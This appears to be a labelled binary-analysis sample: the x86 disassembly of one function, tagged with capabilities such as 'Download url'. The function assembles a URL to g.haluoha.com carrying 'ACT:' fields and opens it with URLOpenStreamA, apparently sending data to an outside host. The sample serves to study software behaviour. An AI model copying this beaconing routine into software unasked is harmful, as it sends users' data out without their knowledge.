Function at 0x10039280
Capabilities:
Download url
Print debug messages
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006d30d
mov eax, dword fs:[0]
push eax
sub esp, 0xd4
mov eax, dword [0x10089430]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x2c], 0
test edi, edi
je 0x100394d3
test esi, esi
je 0x100394d3
mov dword [ebp - 0xdc], 0x1007d9b0
mov dword [ebp - 0xcc], 0x1007d9b8
push 0
lea eax, [ebp - 0xc4]
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov dword [ebp - 0x2c], 1
push eax
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x74], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov dword [ebp - 0x78], 0x50
movlpd qword [ebp - 0xd4], xmm0
call fcn.100104a0
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xcc], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xcc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0xd0], eax
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xdc], vtable.std::basic_iostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xdc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x20]
mov dword [ebp + ecx - 0xe0], eax
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 4], 5
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xdc], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0xdc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0xe0], eax
lea ecx, [ebp - 0xc4]
call fcn.10011360
mov dword [ebp - 0xc4], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0
push esi
push edi
push str.ACT:
lea eax, [ebx + 0x48]
mov dword [ebp - 4], 7
push eax
lea eax, [ebx + 0x18]
push eax
push 0x100710d8
lea eax, [ebp - 0xcc]
push str.http:__g.haluoha.com_g.real_aidtext_ad_2689text
push eax
call fcn.10012230
add esp, 8
push eax
call fcn.10012230
add esp, 8
push eax
call fcn.10014c40
add esp, 8
push eax
call fcn.10014c40
add esp, 8
push eax
call fcn.10012230
add esp, 8
push eax
call fcn.10012230
add esp, 8
push eax
call fcn.10012230
add esp, 8
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0xdc]
push eax
call fcn.100101a0
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 8
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
push 0
cmovae eax, dword [ebp - 0x28]
push 0
push eax
push 0
call sub.urlmon.dll_URLOpenStreamA
test eax, eax
jns 0x1003948e
lea eax, [ebp - 0xcc]
push str.Retry:1
push eax
call fcn.10012230
add esp, 8
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 0x10
cmovae eax, dword [ebp - 0x28]
push 0
push 0
push eax
push 0
call sub.urlmon.dll_URLOpenStreamA
cmp dword [ebp - 0x14], 0x10
jb 0x1003949f
push dword [ebp - 0x28]
call fcn.100498af
add esp, 4
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
mov dword [ebp - 4], 0xffffffff
call fcn.10010120
lea eax, [ebp - 0x74]
mov dword [ebp - 0x74], vtable.std::ios_base.0
push eax
call fcn.10049221
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100498b4
mov esp, ebp
pop ebp
ret 8